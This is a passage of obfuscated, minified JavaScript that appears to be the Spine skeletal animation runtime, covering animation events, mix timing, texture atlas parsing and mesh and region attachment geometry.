_0x2808a2['listener']['complete'] && _0x2808a2['listener']['complete'](_0x2808a2); for (let _0x59b657 = 0x0; _0x59b657 < _0x529837['length']; _0x59b657++) { let _0x511add = _0x529837[_0x59b657]; _0x511add['complete'] && _0x511add['complete'](_0x2808a2); } break; case _0x1a64e5['event']: let _0x50a2d4 = _0x2503a9[0x2 + _0x5dab03++]; _0x2808a2['listener'] && _0x2808a2['listener']['event'] && _0x2808a2['listener']['event'](_0x2808a2, _0x50a2d4); for (let _0x2b79e7 = 0x0; _0x2b79e7 < _0x529837['length']; _0x2b79e7++) { let _0x1bf991 = _0x529837[_0x2b79e7]; _0x1bf991['event'] && _0x1bf991['event'](_0x2808a2, _0x50a2d4); } } } this['clear'](), this['drainDisabled'] = !0x1; } ['clear']() { this['objects']['length'] = 0x0; } }, _0x1a64e5 = (_0x42d614 => (_0x42d614[_0x42d614['start'] = 0x0] = 'start', _0x42d614[_0x42d614['interrupt'] = 0x1] = 'interrupt', _0x42d614[_0x42d614['end'] = 0x2] = 'end', _0x42d614[_0x42d614['dispose'] = 0x3] = 'dispose', _0x42d614[_0x42d614['complete'] = 0x4] = 'complete', _0x42d614[_0x42d614['event'] = 0x5] = 'event', _0x42d614))(_0x1a64e5 || {}), _0x476792 = class { ['start'](_0x11a729) { } ['interrupt'](_0x4657ba) { } ['end'](_0x41c4c0) { } ['dispose'](_0x444731) { } ['complete'](_0x4ba194) { } ['event'](_0x578773, _0x214f0a) { } }, _0x39c63e = 0x0, _0x5f5b96 = 0x1, _0x518eb5 = 0x2, _0x2af48a = 0x3, _0x2529cc = 0x4, _0x1338f6 = 0x1, _0x3a3032 = 0x2, _0x5d4632 = class { constructor(_0x441c61) { if (this['animationToMixTime'] = {}, this['defaultMix'] = 0x0, !_0x441c61) throw new Error('skeletonData\x20cannot\x20be\x20null.'); this['skeletonData'] = _0x441c61; } ['setMix'](_0x387f2f, _0x150ec4, _0x3b4f6e) { let _0x4e201f = this['skeletonData']['findAnimation'](_0x387f2f); if (!_0x4e201f) throw new Error('Animation\x20not\x20found:\x20' + _0x387f2f); let _0x421ec9 = this['skeletonData']['findAnimation'](_0x150ec4); if (!_0x421ec9) throw new Error('Animation\x20not\x20found:\x20' + _0x150ec4); this['setMixWith'](_0x4e201f, _0x421ec9, _0x3b4f6e); } ['setMixWith'](_0x10c514, _0x3eb530, _0x1ff3ab) { if (!_0x10c514) throw new Error('from\x20cannot\x20be\x20null.'); if (!_0x3eb530) throw new Error('to\x20cannot\x20be\x20null.'); let _0x13a4ba = _0x10c514['name'] + '.' + _0x3eb530['name']; this['animationToMixTime'][_0x13a4ba] = _0x1ff3ab; } ['getMix'](_0x1e3b2b, _0x371f71) { let _0x4b4150 = _0x1e3b2b['name'] + '.' + _0x371f71['name'], _0xfc4145 = this['animationToMixTime'][_0x4b4150]; return void 0x0 === _0xfc4145 ? this['defaultMix'] : _0xfc4145; } }, _0xe9c142 = class extends _0x3d7263 { constructor(_0x381a7f) { super(_0x381a7f), this['color'] = new _0x1acaf1(0x1, 0x1, 0x1, 0x1); } ['copy']() { let _0x4709bc = new _0xe9c142(this['name']); return this['copyTo'](_0x4709bc), _0x4709bc['color']['setFromColor'](this['color']), _0x4709bc; } }, _0xafd745 = class extends _0x3d7263 { constructor(_0x378a68) { super(_0x378a68), this['endSlot'] = null, this['color'] = new _0x1acaf1(0.2275, 0.2275, 0.8078, 0x1); } ['copy']() { let _0x364e96 = new _0xafd745(this['name']); return this['copyTo'](_0x364e96), _0x364e96['endSlot'] = this['endSlot'], _0x364e96['color']['setFromColor'](this['color']), _0x364e96; } }, _0x24d14b = class { constructor(_0x2988e6) { this['_image'] = _0x2988e6; } ['getImage']() { return this['_image']; } }, _0x434efc = (_0x1ea6e4 => (_0x1ea6e4[_0x1ea6e4['Nearest'] = 0x2600] = 'Nearest', _0x1ea6e4[_0x1ea6e4['Linear'] = 0x2601] = 'Linear', _0x1ea6e4[_0x1ea6e4['MipMap'] = 0x2703] = 'MipMap', _0x1ea6e4[_0x1ea6e4['MipMapNearestNearest'] = 0x2700] = 'MipMapNearestNearest', _0x1ea6e4[_0x1ea6e4['MipMapLinearNearest'] = 0x2701] = 'MipMapLinearNearest', _0x1ea6e4[_0x1ea6e4['MipMapNearestLinear'] = 0x2702] = 'MipMapNearestLinear', _0x1ea6e4[_0x1ea6e4['MipMapLinearLinear'] = 0x2703] = 'MipMapLinearLinear', _0x1ea6e4))(_0x434efc || {}), _0x252865 = (_0x25e0a6 => (_0x25e0a6[_0x25e0a6['MirroredRepeat'] = 0x8370] = 'MirroredRepeat', _0x25e0a6[_0x25e0a6['ClampToEdge'] = 0x812f] = 'ClampToEdge', _0x25e0a6[_0x25e0a6['Repeat'] = 0x2901] = 'Repeat', _0x25e0a6))(_0x252865 || {}), _0xce4344 = class { constructor() { this['u'] = 0x0, this['v'] = 0x0, this['u2'] = 0x0, this['v2'] = 0x0, this['width'] = 0x0, this['height'] = 0x0, this['degrees'] = 0x0, this['offsetX'] = 0x0, this['offsetY'] = 0x0, this['originalWidth'] = 0x0, this['originalHeight'] = 0x0; } }, _0x5966de = class extends _0x24d14b { ['setFilters'](_0x9c1c3e, _0x551a1c) { } ['setWraps'](_0x3f8eff, _0xc1ce83) { } ['dispose']() { } }, _0x2de0d1 = class { constructor(_0x12371b) { this['pages'] = new Array(), this['regions'] = new Array(); let _0x7aaa7b = new _0x8f5088(_0x12371b), _0x11c7e4 = new Array(0x4), _0x28fd32 = { 'size': _0x14bede => { _0x14bede['width'] = parseInt(_0x11c7e4[0x1]), _0x14bede['height'] = parseInt(_0x11c7e4[0x2]); }, 'format': () => { }, 'filter': _0x4b6914 => { _0x4b6914['minFilter'] = _0x5bda80['enumValue'](_0x434efc, _0x11c7e4[0x1]), _0x4b6914['magFilter'] = _0x5bda80['enumValue'](_0x434efc, _0x11c7e4[0x2]); }, 'repeat': _0x4427ab => { -0x1 != _0x11c7e4[0x1]['indexOf']('x') && (_0x4427ab['uWrap'] = 0x2901), -0x1 != _0x11c7e4[0x1]['indexOf']('y') && (_0x4427ab['vWrap'] = 0x2901); }, 'pma': _0xca26c7 => { _0xca26c7['pma'] = 'true' == _0x11c7e4[0x1]; } }; var _0x25e941 = { 'xy': _0x383f33 => { _0x383f33['x'] = parseInt(_0x11c7e4[0x1]), _0x383f33['y'] = parseInt(_0x11c7e4[0x2]); }, 'size': _0x1878f8 => { _0x1878f8['width'] = parseInt(_0x11c7e4[0x1]), _0x1878f8['height'] = parseInt(_0x11c7e4[0x2]); }, 'bounds': _0x3604dc => { _0x3604dc['x'] = parseInt(_0x11c7e4[0x1]), _0x3604dc['y'] = parseInt(_0x11c7e4[0x2]), _0x3604dc['width'] = parseInt(_0x11c7e4[0x3]), _0x3604dc['height'] = parseInt(_0x11c7e4[0x4]); }, 'offset': _0x31f208 => { _0x31f208['offsetX'] = parseInt(_0x11c7e4[0x1]), _0x31f208['offsetY'] = parseInt(_0x11c7e4[0x2]); }, 'orig': _0x2c8fd1 => { _0x2c8fd1['originalWidth'] = parseInt(_0x11c7e4[0x1]), _0x2c8fd1['originalHeight'] = parseInt(_0x11c7e4[0x2]); }, 'offsets': _0x33f8b1 => { _0x33f8b1['offsetX'] = parseInt(_0x11c7e4[0x1]), _0x33f8b1['offsetY'] = parseInt(_0x11c7e4[0x2]), _0x33f8b1['originalWidth'] = parseInt(_0x11c7e4[0x3]), _0x33f8b1['originalHeight'] = parseInt(_0x11c7e4[0x4]); }, 'rotate': _0x4b707d => { let _0x4af2b5 = _0x11c7e4[0x1]; 'true' == _0x4af2b5 ? _0x4b707d['degrees'] = 0x5a : 'false' != _0x4af2b5 && (_0x4b707d['degrees'] = parseInt(_0x4af2b5)); }, 'index': _0x3af9dc => { _0x3af9dc['index'] = parseInt(_0x11c7e4[0x1]); } }; let _0x282c49 = _0x7aaa7b['readLine'](); for (; _0x282c49 && 0x0 == _0x282c49['trim']()['length'];)_0x282c49 = _0x7aaa7b['readLine'](); for (; _0x282c49 && 0x0 != _0x282c49['trim']()['length'] && 0x0 != _0x7aaa7b['readEntry'](_0x11c7e4, _0x282c49);)_0x282c49 = _0x7aaa7b['readLine'](); let _0x4fab7b = null, _0x59eb8e = null, _0x60741a = null; for (; null !== _0x282c49;)if (0x0 == _0x282c49['trim']()['length']) _0x4fab7b = null, _0x282c49 = _0x7aaa7b['readLine'](); else { if (_0x4fab7b) { let _0x599e8d = new _0x53c964(_0x4fab7b, _0x282c49); for (; ;) { let _0x380b50 = _0x7aaa7b['readEntry'](_0x11c7e4, _0x282c49 = _0x7aaa7b['readLine']()); if (0x0 == _0x380b50) break; let _0x23543a = _0x25e941[_0x11c7e4[0x0]]; if (_0x23543a) _0x23543a(_0x599e8d); else { _0x59eb8e || (_0x59eb8e = []), _0x60741a || (_0x60741a = []), _0x59eb8e['push'](_0x11c7e4[0x0]); let _0x432ca9 = []; for (let _0x12113c = 0x0; _0x12113c < _0x380b50; _0x12113c++)_0x432ca9['push'](parseInt(_0x11c7e4[_0x12113c + 0x1])); _0x60741a['push'](_0x432ca9); } } 0x0 == _0x599e8d['originalWidth'] && 0x0 == _0x599e8d['originalHeight'] && (_0x599e8d['originalWidth'] = _0x599e8d['width'], _0x599e8d['originalHeight'] = _0x599e8d['height']), _0x59eb8e && _0x59eb8e['length'] > 0x0 && _0x60741a && _0x60741a['length'] > 0x0 && (_0x599e8d['names'] = _0x59eb8e, _0x599e8d['values'] = _0x60741a, _0x59eb8e = null, _0x60741a = null), _0x599e8d['u'] = _0x599e8d['x'] / _0x4fab7b['width'], _0x599e8d['v'] = _0x599e8d['y'] / _0x4fab7b['height'], 0x5a == _0x599e8d['degrees'] ? (_0x599e8d['u2'] = (_0x599e8d['x'] + _0x599e8d['height']) / _0x4fab7b['width'], _0x599e8d['v2'] = (_0x599e8d['y'] + _0x599e8d['width']) / _0x4fab7b['height']) : (_0x599e8d['u2'] = (_0x599e8d['x'] + _0x599e8d['width']) / _0x4fab7b['width'], _0x599e8d['v2'] = (_0x599e8d['y'] + _0x599e8d['height']) / _0x4fab7b['height']), this['regions']['push'](_0x599e8d); } else { for (_0x4fab7b = new _0x3791fe(_0x282c49['trim']()); 0x0 != _0x7aaa7b['readEntry'](_0x11c7e4, _0x282c49 = _0x7aaa7b['readLine']());) { let _0x2dfe95 = _0x28fd32[_0x11c7e4[0x0]]; _0x2dfe95 && _0x2dfe95(_0x4fab7b); } this['pages']['push'](_0x4fab7b); } } } ['findRegion'](_0x4eda39) { for (let _0x1ff5c5 = 0x0; _0x1ff5c5 < this['regions']['length']; _0x1ff5c5++)if (this['regions'][_0x1ff5c5]['name'] == _0x4eda39) return this['regions'][_0x1ff5c5]; return null; } ['setTextures'](_0x1420cf, _0x4257ef = '') { for (let _0x239882 of this['pages']) _0x239882['setTexture'](_0x1420cf['get'](_0x4257ef + _0x239882['name'])); } ['dispose']() { var _0x3c8abf; for (let _0x495e45 = 0x0; _0x495e45 < this['pages']['length']; _0x495e45++)null == (_0x3c8abf = this['pages'][_0x495e45]['texture']) || _0x3c8abf['dispose'](); } }, _0x8f5088 = class { constructor(_0x1c0927) { this['index'] = 0x0, this['lines'] = _0x1c0927['split'](/\r\n|\r|\n/); } ['readLine']() { return this['index'] >= this['lines']['length'] ? null : this['lines'][this['index']++]; } ['readEntry'](_0xd7c552, _0x238689) { if (!_0x238689) return 0x0; if (0x0 == (_0x238689 = _0x238689['trim']())['length']) return 0x0; let _0x584a2e = _0x238689['indexOf'](':'); if (-0x1 == _0x584a2e) return 0x0; _0xd7c552[0x0] = _0x238689['substr'](0x0, _0x584a2e)['trim'](); for (let _0x2d5643 = 0x1, _0x23a2c3 = _0x584a2e + 0x1; ; _0x2d5643++) { let _0x4a65a6 = _0x238689['indexOf'](',', _0x23a2c3); if (-0x1 == _0x4a65a6) return _0xd7c552[_0x2d5643] = _0x238689['substr'](_0x23a2c3)['trim'](), _0x2d5643; if (_0xd7c552[_0x2d5643] = _0x238689['substr'](_0x23a2c3, _0x4a65a6 - _0x23a2c3)['trim'](), _0x23a2c3 = _0x4a65a6 + 0x1, 0x4 == _0x2d5643) return 0x4; } } }, _0x3791fe = class { constructor(_0x56bff5) { this['minFilter'] = 0x2600, this['magFilter'] = 0x2600, this['uWrap'] = 0x812f, this['vWrap'] = 0x812f, this['texture'] = null, this['width'] = 0x0, this['height'] = 0x0, this['pma'] = !0x1, this['name'] = _0x56bff5; } ['setTexture'](_0x573f8f) { this['texture'] = _0x573f8f, _0x573f8f['setFilters'](this['minFilter'], this['magFilter']), _0x573f8f['setWraps'](this['uWrap'], this['vWrap']); } }, _0x53c964 = class extends _0xce4344 { constructor(_0x9133eb, _0x205ecb) { super(), this['x'] = 0x0, this['y'] = 0x0, this['offsetX'] = 0x0, this['offsetY'] = 0x0, this['originalWidth'] = 0x0, this['originalHeight'] = 0x0, this['index'] = 0x0, this['degrees'] = 0x0, this['names'] = null, this['values'] = null, this['page'] = _0x9133eb, this['name'] = _0x205ecb; } }, _0x14aa55 = class extends _0x3d7263 { constructor(_0x8fecf3, _0x410717) { super(_0x8fecf3), this['region'] = null, this['regionUVs'] = [], this['uvs'] = [], this['triangles'] = [], this['color'] = new _0x1acaf1(0x1, 0x1, 0x1, 0x1), this['width'] = 0x0, this['height'] = 0x0, this['hullLength'] = 0x0, this['edges'] = [], this['parentMesh'] = null, this['sequence'] = null, this['tempColor'] = new _0x1acaf1(0x0, 0x0, 0x0, 0x0), this['path'] = _0x410717; } ['updateRegion']() { if (!this['region']) throw new Error('Region\x20not\x20set.'); let _0x2ebccc = this['regionUVs']; this['uvs'] && this['uvs']['length'] == _0x2ebccc['length'] || (this['uvs'] = _0x5bda80['newFloatArray'](_0x2ebccc['length'])); let _0x7707c9 = this['uvs'], _0x5a9793 = this['uvs']['length'], _0x2fe1d3 = this['region']['u'], _0x49fd41 = this['region']['v'], _0x4c3e76 = 0x0, _0x3d09e9 = 0x0; if (this['region'] instanceof _0x53c964) { let _0x3bd5e5 = this['region'], _0x3d7a17 = _0x3bd5e5['page']['texture']['getImage'](), _0xb88916 = _0x3d7a17['width'], _0x3eea34 = _0x3d7a17['height']; switch (_0x3bd5e5['degrees']) { case 0x5a: _0x2fe1d3 -= (_0x3bd5e5['originalHeight'] - _0x3bd5e5['offsetY'] - _0x3bd5e5['height']) / _0xb88916, _0x49fd41 -= (_0x3bd5e5['originalWidth'] - _0x3bd5e5['offsetX'] - _0x3bd5e5['width']) / _0x3eea34, _0x4c3e76 = _0x3bd5e5['originalHeight'] / _0xb88916, _0x3d09e9 = _0x3bd5e5['originalWidth'] / _0x3eea34; for (let _0x53c46e = 0x0; _0x53c46e < _0x5a9793; _0x53c46e += 0x2)_0x7707c9[_0x53c46e] = _0x2fe1d3 + _0x2ebccc[_0x53c46e + 0x1] * _0x4c3e76, _0x7707c9[_0x53c46e + 0x1] = _0x49fd41 + (0x1 - _0x2ebccc[_0x53c46e]) * _0x3d09e9; return; case 0xb4: _0x2fe1d3 -= (_0x3bd5e5['originalWidth'] - _0x3bd5e5['offsetX'] - _0x3bd5e5['width']) / _0xb88916, _0x49fd41 -= _0x3bd5e5['offsetY'] / _0x3eea34, _0x4c3e76 = _0x3bd5e5['originalWidth'] / _0xb88916, _0x3d09e9 = _0x3bd5e5['originalHeight'] / _0x3eea34; for (let _0x58d7df = 0x0; _0x58d7df < _0x5a9793; _0x58d7df += 0x2)_0x7707c9[_0x58d7df] = _0x2fe1d3 + (0x1 - _0x2ebccc[_0x58d7df]) * _0x4c3e76, _0x7707c9[_0x58d7df + 0x1] = _0x49fd41 + (0x1 - _0x2ebccc[_0x58d7df + 0x1]) * _0x3d09e9; return; case 0x10e: _0x2fe1d3 -= _0x3bd5e5['offsetY'] / _0xb88916, _0x49fd41 -= _0x3bd5e5['offsetX'] / _0x3eea34, _0x4c3e76 = _0x3bd5e5['originalHeight'] / _0xb88916, _0x3d09e9 = _0x3bd5e5['originalWidth'] / _0x3eea34; for (let _0x9cf573 = 0x0; _0x9cf573 < _0x5a9793; _0x9cf573 += 0x2)_0x7707c9[_0x9cf573] = _0x2fe1d3 + (0x1 - _0x2ebccc[_0x9cf573 + 0x1]) * _0x4c3e76, _0x7707c9[_0x9cf573 + 0x1] = _0x49fd41 + _0x2ebccc[_0x9cf573] * _0x3d09e9; return; }_0x2fe1d3 -= _0x3bd5e5['offsetX'] / _0xb88916, _0x49fd41 -= (_0x3bd5e5['originalHeight'] - _0x3bd5e5['offsetY'] - _0x3bd5e5['height']) / _0x3eea34, _0x4c3e76 = _0x3bd5e5['originalWidth'] / _0xb88916, _0x3d09e9 = _0x3bd5e5['originalHeight'] / _0x3eea34; } else this['region'] ? (_0x4c3e76 = this['region']['u2'] - _0x2fe1d3, _0x3d09e9 = this['region']['v2'] - _0x49fd41) : (_0x2fe1d3 = _0x49fd41 = 0x0, _0x4c3e76 = _0x3d09e9 = 0x1); for (let _0x13cd71 = 0x0; _0x13cd71 < _0x5a9793; _0x13cd71 += 0x2)_0x7707c9[_0x13cd71] = _0x2fe1d3 + _0x2ebccc[_0x13cd71] * _0x4c3e76, _0x7707c9[_0x13cd71 + 0x1] = _0x49fd41 + _0x2ebccc[_0x13cd71 + 0x1] * _0x3d09e9; } ['getParentMesh']() { return this['parentMesh']; } ['setParentMesh'](_0x45a36e) { this['parentMesh'] = _0x45a36e, _0x45a36e && (this['bones'] = _0x45a36e['bones'], this['vertices'] = _0x45a36e['vertices'], this['worldVerticesLength'] = _0x45a36e['worldVerticesLength'], this['regionUVs'] = _0x45a36e['regionUVs'], this['triangles'] = _0x45a36e['triangles'], this['hullLength'] = _0x45a36e['hullLength'], this['worldVerticesLength'] = _0x45a36e['worldVerticesLength']); } ['copy']() { if (this['parentMesh']) return this['newLinkedMesh'](); let _0x37412b = new _0x14aa55(this['name'], this['path']); return _0x37412b['region'] = this['region'], _0x37412b['color']['setFromColor'](this['color']), this['copyTo'](_0x37412b), _0x37412b['regionUVs'] = new Array(this['regionUVs']['length']), _0x5bda80['arrayCopy'](this['regionUVs'], 0x0, _0x37412b['regionUVs'], 0x0, this['regionUVs']['length']), _0x37412b['uvs'] = new Array(this['uvs']['length']), _0x5bda80['arrayCopy'](this['uvs'], 0x0, _0x37412b['uvs'], 0x0, this['uvs']['length']), _0x37412b['triangles'] = new Array(this['triangles']['length']), _0x5bda80['arrayCopy'](this['triangles'], 0x0, _0x37412b['triangles'], 0x0, this['triangles']['length']), _0x37412b['hullLength'] = this['hullLength'], _0x37412b['sequence'] = null != this['sequence'] ? this['sequence']['copy']() : null, this['edges'] && (_0x37412b['edges'] = new Array(this['edges']['length']), _0x5bda80['arrayCopy'](this['edges'], 0x0, _0x37412b['edges'], 0x0, this['edges']['length'])), _0x37412b['width'] = this['width'], _0x37412b['height'] = this['height'], _0x37412b; } ['computeWorldVertices'](_0x53d427, _0x512172, _0x285d3d, _0x57a47f, _0x2bf1a5, _0x3d67ad) { null != this['sequence'] && this['sequence']['apply'](_0x53d427, this), super['computeWorldVertices'](_0x53d427, _0x512172, _0x285d3d, _0x57a47f, _0x2bf1a5, _0x3d67ad); } ['newLinkedMesh']() { let _0x59e991 = new _0x14aa55(this['name'], this['path']); return _0x59e991['region'] = this['region'], _0x59e991['color']['setFromColor'](this['color']), _0x59e991['timelineAttachment'] = this['timelineAttachment'], _0x59e991['setParentMesh'](this['parentMesh'] ? this['parentMesh'] : this), null != _0x59e991['region'] && _0x59e991['updateRegion'](), _0x59e991; } }, _0x27d2b5 = class extends _0x3d7263 { constructor(_0x2d92c3) { super(_0x2d92c3), this['lengths'] = [], this['closed'] = !0x1, this['constantSpeed'] = !0x1, this['color'] = new _0x1acaf1(0x1, 0x1, 0x1, 0x1); } ['copy']() { let _0x2c326a = new _0x27d2b5(this['name']); return this['copyTo'](_0x2c326a), _0x2c326a['lengths'] = new Array(this['lengths']['length']), _0x5bda80['arrayCopy'](this['lengths'], 0x0, _0x2c326a['lengths'], 0x0, this['lengths']['length']), _0x2c326a['closed'] = closed, _0x2c326a['constantSpeed'] = this['constantSpeed'], _0x2c326a['color']['setFromColor'](this['color']), _0x2c326a; } }, _0x582327 = class extends _0x3d7263 { constructor(_0x13a020) { super(_0x13a020), this['x'] = 0x0, this['y'] = 0x0, this['rotation'] = 0x0, this['color'] = new _0x1acaf1(0.38, 0.94, 0x0, 0x1); } ['computeWorldPosition'](_0x272414, _0x2e42aa) { return _0x2e42aa['x'] = this['x'] * _0x272414['a'] + this['y'] * _0x272414['b'] + _0x272414['worldX'], _0x2e42aa['y'] = this['x'] * _0x272414['c'] + this['y'] * _0x272414['d'] + _0x272414['worldY'], _0x2e42aa; } ['computeWorldRotation'](_0x66de0) { let _0x4dd7c7 = _0x19ba92['cosDeg'](this['rotation']), _0x306831 = _0x19ba92['sinDeg'](this['rotation']), _0x14a8d8 = _0x4dd7c7 * _0x66de0['a'] + _0x306831 * _0x66de0['b'], _0xd7cec5 = _0x4dd7c7 * _0x66de0['c'] + _0x306831 * _0x66de0['d']; return Math['atan2'](_0xd7cec5, _0x14a8d8) * _0x19ba92['radDeg']; } ['copy']() { let _0x31f9f6 = new _0x582327(this['name']); return _0x31f9f6['x'] = this['x'], _0x31f9f6['y'] = this['y'], _0x31f9f6['rotation'] = this['rotation'], _0x31f9f6['color']['setFromColor'](this['color']), _0x31f9f6; } }, _0x40f4f8 = class extends _0x115ac3 { constructor(_0x4c8bce, _0x209d57) { super(_0x4c8bce), this['x'] = 0x0, this['y'] = 0x0, this['scaleX'] = 0x1, this['scaleY'] = 0x1, this['rotation'] = 0x0, this['width'] = 0x0, this['height'] = 0x0, this['color'] = new _0x1acaf1(0x1, 0x1, 0x1, 0x1), this['rendererObject'] = null, this['region'] = null, this['sequence'] = null, this['offset'] = _0x5bda80['newFloatArray'](0x8), this['uvs'] = _0x5bda80['newFloatArray'](0x8), this['tempColor'] = new _0x1acaf1(0x1, 0x1, 0x1, 0x1), this['path'] = _0x209d57; } ['updateRegion']() { if (!this['region']) throw new Error('Region\x20not\x20set.'); let _0x23d7c2 = this['region'], _0x2bd0f6 = this['uvs']; if (null == _0x23d7c2) return _0x2bd0f6[0x0] = 0x0, _0x2bd0f6[0x1] = 0x0, _0x2bd0f6[0x2] = 0x0, _0x2bd0f6[0x3] = 0x1, _0x2bd0f6[0x4] = 0x1, _0x2bd0f6[0x5] = 0x1, _0x2bd0f6[0x6] = 0x1, void (_0x2bd0f6[0x7] = 0x0); let _0x5a849d = this['width'] / this['region']['originalWidth'] * this['scaleX'], _0x8580fa = this['height'] / this['region']['originalHeight'] * this['scaleY'], _0x10b9f2 = -this['width'] / 0x2 * this['scaleX'] + this['region']['offsetX'] * _0x5a849d, _0x2535d4 = -this['height'] / 0x2 * this['scaleY'] + this['region']['offsetY'] * _0x8580fa, _0x1bc0e4 = _0x10b9f2 + this['region']['width'] * _0x5a849d, _0x4b37b3 = _0x2535d4 + this['region']['height'] * _0x8580fa, _0x3f4b16 = this['rotation'] * Math['PI'] / 0xb4, _0x3210cf = Math['cos'](_0x3f4b16), _0xb21127 = Math['sin'](_0x3f4b16), _0x4414bb = this['x'], _0x5529af = this['y'], _0x5cca21 = _0x10b9f2 * _0x3210cf + _0x4414bb, _0x2b7bc8 = _0x10b9f2 * _0xb21127, _0xd30cf5 = _0x2535d4 * _0x3210cf + _0x5529af, _0x311e63 = _0x2535d4 * _0xb21127, _0x23a564 = _0x1bc0e4 * _0x3210cf + _0x4414bb, _0x2f9e2a = _0x1bc0e4 * _0xb21127, _0xf590f2 = _0x4b37b3 * _0x3210cf + _0x5529af, _0x3216a7 = _0x4b37b3 * _0xb21127, _0x5489d3 = this['offset']; _0x5489d3[0x0] = _0x5cca21 - _0x311e63, _0x5489d3[0x1] = _0xd30cf5 + _0x2b7bc8, _0x5489d3[0x2] = _0x5cca21 - _0x3216a7, _0x5489d3[0x3] = _0xf590f2 + _0x2b7bc8, _0x5489d3[0x4] = _0x23a564 - _0x3216a7, _0x5489d3[0x5] = _0xf590f2 + _0x2f9e2a, _0x5489d3[0x6] = _0x23a564 - _0x311e63, _0x5489d3[0x7] = _0xd30cf5 + _0x2f9e2a, 0x5a == _0x23d7c2['degrees'] ? (_0x2bd0f6[0x0] = _0x23d7c2['u2'], _0x2bd0f6[0x1] = _0x23d7c2['v2'], _0x2bd0f6[0x2] = _0x23d7c2['u'], _0x2bd0f6[0x3] = _0x23d7c2['v2'], _0x2bd0f6[0x4] = _0x23d7c2['u'], _0x2bd0f6[0x5] = _0x23d7c2['v'], _0x2bd0f6[0x6] = _0x23d7c2['u2'], _0x2bd0f6[0x7] = _0x23d7c2['v']) : (_0x2bd0f6[0x0] = _0x23d7c2['u'], _0x2bd0f6[0x1] = _0x23d7c2['v2'], _0x2bd0f6[0x2] = _0x23d7c2['u'], _0x2bd0f6[0x3] = _0x23d7c2['v'], _0x2bd0f6[0x4] = _0x23d7c2['u2'], _0x2bd0f6[0x5] = _0x23d7c2['v'], _0x2bd0f6[0x6] = _0x23d7c2['u2'], _0x2bd0f6[0x7] = _0x23d7c2['v2']); } ['computeWorldVertices'](_0x41fe24, _0x2cee9c, _0x1e284f, _0x254301) { null != this['sequence'] && this['sequence']['apply'](_0x41fe24, this); let _0x3f881d = _0x41fe24['bone'], _0x583077 = this['offset'], _0x3a0d97 = _0x3f881d['worldX'], _0x31b0df = _0x3f881d['worldY'], _0x4b02da = _0x3f881d['a'], _0x12b7c8 = _0x3f881d['b'], _0x3d1f9b = _0x3f881d['c'], _0x5bdc6e = _0x3f881d['d'], _0x3f121f = 0x0, _0x550c39 = 0x0; _0x3f121f = _0x583077[0x0], _0x550c39 = _0x583077[0x1], _0x2cee9c[_0x1e284f] = _0x3f121f * _0x4b02da + _0x550c39 * _0x12b7c8 + _0x3a0d97, _0x2cee9c[_0x1e284f + 0x1] = _0x3f121f * _0x3d1f9b + _0x550c39 * _0x5bdc6e + _0x31b0df, _0x1e284f += _0x254301, _0x3f121f = _0x583077[0x2], _0x550c39 = _0x583077[0x3], _0x2cee9c[_0x1e284f] = _0x3f121f * _0x4b02da + _0x550c39 * _0x12b7c8 + _0x3a0d97, _0x2cee9c[_0x1e284f + 0x1] = _0x3f121f * _0x3d1f9b + _0x550c39 * _0x5bdc6e + _0x31b0df, _0x1e284f += _0x254301, _0x3f121f = _0x583077[0x4], _0x550c39 = _0x583077[0x5], _0x2cee9c[_0x1e284f] = _0x3f121f * _0x4b02da + _0x550c39 * _0x12b7c8 + _0x3a0d97, _0x2cee9c[_0x1e284f + 0x1] = _0x3f121f * _0x3d1f9b + _0x550c39 * _0x5bdc6e + _0x31b0df, _0x1e284f += _0x254301, _0x3f121f = _0x583077[0x6], _0x550c39 = _0x583077[0x7], _0x2cee9c[_0x1e284f] = _0x3f121f * _0x4b02da + _0x550c39 * _0x12b7c8 + _0x3a0d97, _0x2cee9c[_0x1e284f + 0x1] = _0x3f121f * _0x3d1f9b + _0x550c39 * _0x5bdc6e + _0x31b0df; } ['copy']() { let _0x100fd5 = new _0x40f4f8(this['name'], this['path']); return _0x100fd5['region'] = this['region'], _0x100fd5['rendererObject'] = this['rendererObject'], _0x100fd5['x'] = this['x'], _0x100fd5['y'] = this['y'], _0x100fd5['scaleX'] = this['scaleX'], _0x100fd5['scaleY'] = this['scaleY'], _0x100fd5['rotation'] = this['rotation'], _0x100fd5['width'] = this['width'], _0x100fd5['height'] = this['height'], _0x5bda80['arrayCopy'](this['uvs'], 0x0, _0x100fd5['uvs'], 0x0, 0x8), _0x5bda80['arrayCopy'](this['offset'], 0x0, _0x100fd5['offset'], 0x0, 0x8), _0x100fd5['color']['setFromColor'](this['color']), _0x100fd5['sequence'] = null != this['sequence'] ? this['sequence']['copy']() : null, _0x100fd5; } }, _0x2c3c3c = _0x40f4f8; _0x2c3c3c['X1'] = 0x0, _0x2c3c3c['Y1'] = 0x1, _0x2c3c3c['C1R'] = 0x2, _0x2c3c3c['C1G'] = 0x3, _0x2c3c3c['C1B'] = 0x4, _0x2c3c3c['C1A'] = 0x5, _0x2c3c3c['U1'] = 0x6, _0x2c3c3c['V1'] = 0x7, _0x2c3c3c['X2'] = 0x8, _0x2c3c3c['Y2'] = 0x9, _0x2c3c3c['C2R'] = 0xa, _0x2c3c3c['C2G'] = 0xb, _0x2c3c3c['C2B'] = 0xc, _0x2c3c3c['C2A'] = 0xd, _0x2c3c3c['U2'] = 0xe, _0x2c3c3c['V2'] = 0xf, _0x2c3c3c['X3'] = 0x10, _0x2c3c3c['Y3'] = 0x11, _0x2c3c3c['C3R'] = 0x12, _0x2c3c3c['C3G'] = 0x13, _0x2c3c3c['C3B'] = 0x14, _0x2c3c3c['C3A'] = 0x15, _0x2c3c3c['U3'] = 0x16, _0x2c3c3c['V3'] = 0x17, _0x2c3c3c['X4'] = 0x18, _0x2c3c3c['Y4'] = 0x19, _0x2c3c3c['C4R'] = 0x1a, _0x2c3c3c['C4G'] = 0x1b, _0x2c3c3c['C4B'] = 0x1c, _0x2c3c3c['C4A'] = 0x1d, _0x2c3c3c['U4'] = 0x1e, _0x2c3c3c['V4'] = 0x1f; var _0x2d3ccd = class { constructor(_0x1e0734) { this['atlas'] = _0x1e0734; } ['loadSequence'](_0x85a3c1, _0x9f4841, _0x50b7aa) { let _0x578e82 = _0x50b7aa['regions']; for (let _0x3ebb21 = 0x0, _0x8c78d7 = _0x578e82['length']; _0x3ebb21 < _0x8c78d7; _0x3ebb21++) { let _0x1fe8e1 = _0x50b7aa['getPath'](_0x9f4841, _0x3ebb21), _0x148854 = this['atlas']['findRegion'](_0x1fe8e1); if (null == _0x148854) throw new Error('Region\x20not\x20found\x20in\x20atlas:\x20' + _0x1fe8e1 + 